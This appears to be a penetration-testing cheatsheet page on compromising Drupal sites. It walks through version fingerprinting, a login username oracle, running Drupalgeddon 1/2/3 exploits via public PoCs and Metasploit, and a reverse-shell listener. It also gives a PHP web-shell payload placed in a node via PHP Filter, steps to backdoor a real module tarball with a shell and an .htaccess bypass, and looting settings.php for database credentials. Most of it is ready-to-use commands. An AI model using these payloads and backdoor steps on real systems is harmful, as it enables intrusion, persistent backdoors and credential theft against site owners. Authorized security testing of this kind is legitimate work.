Skip to Content
Red Teaming03-ExploitationCommon ApplicationsDrupal

Drupal

Drupal is a PHP CMS (MySQL/PostgreSQL/SQLite backends) built around nodes, modules, and themes. Unlike WordPress theme editing, admin RCE usually means enabling PHP Filter, installing a backdoored module, or hitting a version-bound core bug (Drupalgeddon / 2 / 3). Always get the version first it decides the entire path.

Cheatsheet

# Identify curl -sk http://<URL>/ | grep -iE 'Drupal|Generator|drupal' curl -sk http://<URL>/robots.txt curl -sk http://<URL>/CHANGELOG.txt | head -n 20 # Drupal 7 style curl -sk http://<URL>/core/CHANGELOG.txt | head -n 20 # Drupal 8/9+ curl -sk http://<URL>/core/install.php | grep -iE 'Drupal|version' # Automated enum (strongest for Drupal) droopescan scan drupal --url http://<URL>/ droopescan scan drupal --url http://<URL>/ -e v,i,p,t # Drupalgeddon (CVE-2014-3704) unauth SQLi → admin, D7.0–7.31 searchsploit drupal 7.3 # Example PoC lineage: EDB-34992 / drupalgeddon.py create admin # Drupalgeddon2 (CVE-2018-7600) unauth RCE, <7.58 / <8.5.1 (and related 8.x) # https://github.com/dreadlocked/Drupalgeddon2 ruby drupalgeddon2.rb http://<URL>/ # MSF: exploit/unix/webapp/drupal_drupalgeddon2 (set VHOST if needed) # Drupalgeddon3 (CVE-2018-7602 / SA-CORE-2018-004) needs privileges (often delete) # https://github.com/pimps/CVE-2018-7602 # After admin shell loot DB settings # sites/default/settings.php (D7/D8 path family)
// PHP Filter body (Text format = PHP code) <?php system($_GET['cmd']); ?> // Trigger: http://<URL>/node/<ID>?cmd=id

Methodology

Phase 1: Fingerprint Version and Surface

?

Questions to ask

  • Do generator meta, /user/login, /node/<id>, or Drupal paths prove the stack?
  • What exact version do CHANGELOG / droopescan / install crumbs report?
  • Is this D7 (PHP Filter often present) or D8+ (PHP Filter not bundled)?
  • Are registration, XML-RPC-like services, or install leftovers exposed?
  • Which modules/themes appear any with known RCEs?
curl -sk http://<URL>/ | grep -iE 'Drupal|Generator' curl -sk http://<URL>/CHANGELOG.txt | head -n 20 curl -sk http://<URL>/core/CHANGELOG.txt | head -n 20 curl -sk http://<URL>/node/1 droopescan scan drupal --url http://<URL>/
  • Confirm Drupal; distinguish D7 vs D8/9/10 layout (/core/ present on modern).
  • Extract version from CHANGELOG when readable; otherwise droopescan version enum + checksums.
  • Map /user/login, /user/register, /admin, /node/1, sites/default/.
  • Inventory modules/themes; searchsploit drupal only for matching versions.
  • If CHANGELOG is 403/404, do not assume “not Drupal” continue with droopescan and UI chrome.

Phase 2: Auth, Users, and Low-Hanging Access

?

Questions to ask

  • Does login error messaging oracle valid usernames?
  • Is self-registration open, and what roles do new users get?
  • Do default/weak admin passwords or breach reuse work?
  • What permissions does my account have administer modules? install modules? delete nodes?
  • Is unauth Drupalgeddon2 in range so I can skip creds entirely?
# Username oracle probe (behavior varies by version/hardening) curl -sk -X POST 'http://<URL>/?q=user/login' -d 'name=admin&pass=Wrong&form_id=user_login&op=Log+in' | grep -iE 'unrecognized|incorrect|error' # Try weak/reused admin creds against /user/login # Check registration curl -sk -o /dev/null -w '%{http_code}\n' http://<URL>/user/register
  • Enumerate users where the oracle or /user/<id> still leaks names.
  • Attempt credential reuse / weak admin before loud sprays.
  • Record effective permissions after any successful login.
  • If version ≤ Drupalgeddon2 range, prioritize Phase 3 unauth RCE over brute force.
  • For Drupalgeddon3-class bugs, confirm the required privs (often node delete) before tooling.

Phase 3: Unauthenticated / Core RCE (Drupalgeddon Family)

?

Questions to ask

  • Exact version vs CVE tables patched builds waste exploit time?
  • Drupalgeddon (SQLi→admin) vs Drupalgeddon2 (unauth RCE) vs Drupalgeddon3 (auth RCE)?
  • Does the PoC need a specific form path (/user/register, /user/password, AJAX forms)?
  • Am I getting command output or a limited shell that needs a second-stage callback?
  • Have I set VHOST correctly for name-based hosts in MSF/PoCs?
# Version gate, then pick one family searchsploit drupalgeddon # Drupalgeddon CVE-2014-3704 (D7.0–7.31): SQLi → create admin, then Phase 4 # python2 drupalgeddon.py --target http://<URL>/ ... # Drupalgeddon2 CVE-2018-7600 (<7.58, <8.5.1 class): unauth RCE ruby drupalgeddon2.rb http://<URL>/ # or: msfconsole → exploit/unix/webapp/drupal_drupalgeddon2 # Drupalgeddon3 CVE-2018-7602: authenticated Form API RCE (needs suitable perms) # Use a PoC matched to D7/D8 after login rlwrap ncat -lvnp <LPORT>
  • Match CVE to fingerprint; abort if outside range.
  • Run one PoC path; prove id/whoami before stacking payloads.
  • On limited shells, stage a proper reverse shell; then Orientation.
  • Loot sites/default/settings.php for DB credentials immediately after RCE.
  • Document PoC, version, and artifacts for the report.

OPSEC: Drupalgeddon2 was mass-scanned for years. On monitored hosts, prefer a single validated PoC over Metasploit + multiple fallbacks.

Phase 4: Authenticated RCE (PHP Filter / Module Upload)

?

Questions to ask

  • Drupal < 8: is PHP Filter already available under Modules?
  • Drupal 8+: can I install the PHP module from UI, or upload a backdoored contrib module?
  • Does /modules block direct PHP access do I need a crafted .htaccess in the archive?
  • Which content type + text format exposes PHP code for the payload node?
  • Can I remove the malicious node/module after proving impact?
# Drupal 7 PHP Filter present Modules → enable "PHP filter" → Save Content → Add content → Basic page/Article Body: <?php system($_GET['cmd']); ?> Text format: PHP code → Save # Hit: /node/<ID>?cmd=id # Drupal 8+ install PHP module, then same content trick # wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz # Admin → Extend → Install new module (or Reports → Available updates → Install) # Alternate: backdoor a real module tarball wget https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-*.tar.gz # Add shell.php + .htaccess (rewrite allow) into module dir → retar → Install new module
curl -sk 'http://<URL>/node/<ID>?cmd=id' # If module path web shell: curl -sk 'http://<URL>/modules/<module>/shell.php?cmd=id'
  • Prefer PHP Filter on D7 when the module is already there.
  • On D8+, install PHP module or upload a backdoored module with .htaccess bypass for /modules.
  • Create content with Text format = PHP code; verify RCE via curl.
  • Read sites/default/settings.php; continue host post-ex.
  • Clean up nodes/modules; list paths in report appendices.

Reference

Roles

RoleValue
AdministratorFull site control module install, PHP Filter, user/role admin
AuthenticatedPermission-dependent; may enable Drupalgeddon3-class bugs
AnonymousRead content; target for unauth core RCEs when unpatched

Version Fingerprints

LocationNotes
/CHANGELOG.txtClassic D7 often first line after header is version
/core/CHANGELOG.txtD8+
Meta generator / droopescan checksumsWhen changelogs are denied
/node/<id>Confirms Drupal content model

Newer installs commonly block CHANGELOG/README droopescan becomes primary.

Drupalgeddon Family

AliasCVEAuthApprox. rangeImpact
DrupalgeddonCVE-2014-3704NoD7.0–7.31 (fixed 7.32)SQLi → admin / code exec paths
Drupalgeddon2CVE-2018-7600No<7.58, <8.5.1 (8.3/8.4 patched lines)Unauth RCE via Form API / render arrays
Drupalgeddon3CVE-2018-7602Yes (privs)Multiple 7.x / 8.xForm API RCE with privileges

Drupalgeddon2 abuses insufficient sanitization of Form API keys starting with # (#post_render, #pre_render, #lazy_builder, …) leading to dangerous PHP callbacks (exec, etc.).

Admin RCE Patterns

DrupalTechnique
< 8Enable bundled PHP Filter → PHP-code node
8+Install PHP module  from UI, then PHP-code node
8+ (restricted install)Upload backdoored module + .htaccess so /modules/.../shell.php is reachable

High-Value Files

FileWhy
sites/default/settings.phpDB credentials, config secrets
Module/theme directories under sites/ or /modulesCustom code, forgotten backups

Tooling

ToolUse
droopescanVersion, modules, themes, interesting URLs
searchsploit / EDBVersion-gated PoCs
MSF drupal_drupalgeddon2Automates CVE-2018-7600 when VHOST/URL correct
dreadlocked/Drupalgeddon2 Standalone Ruby PoC

#PenetrationTesting #RedTeam #Linux #Drupal #Drupalgeddon #CMS #WebAppPentest #Exploit #RCE #Vulnerability

Last updated on